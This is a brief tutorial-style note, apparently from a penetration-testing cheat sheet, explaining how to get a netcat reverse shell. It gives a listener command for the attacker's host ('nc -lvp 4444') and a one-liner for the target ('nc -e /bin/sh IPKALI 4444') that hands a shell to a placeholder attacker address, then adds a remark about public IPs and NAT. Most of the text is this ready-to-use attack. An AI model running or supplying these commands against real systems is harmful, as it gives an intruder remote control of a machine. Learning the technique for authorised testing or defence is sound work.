Web Shell

On your host, start a nc listening on 4444 port

nc -lvp 4444

On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.

nc -e /bin/sh IPKALI 4444

To use a reverse shell you must have a public IP, and can't use a NAT. Well, you can, its just little bit trickier.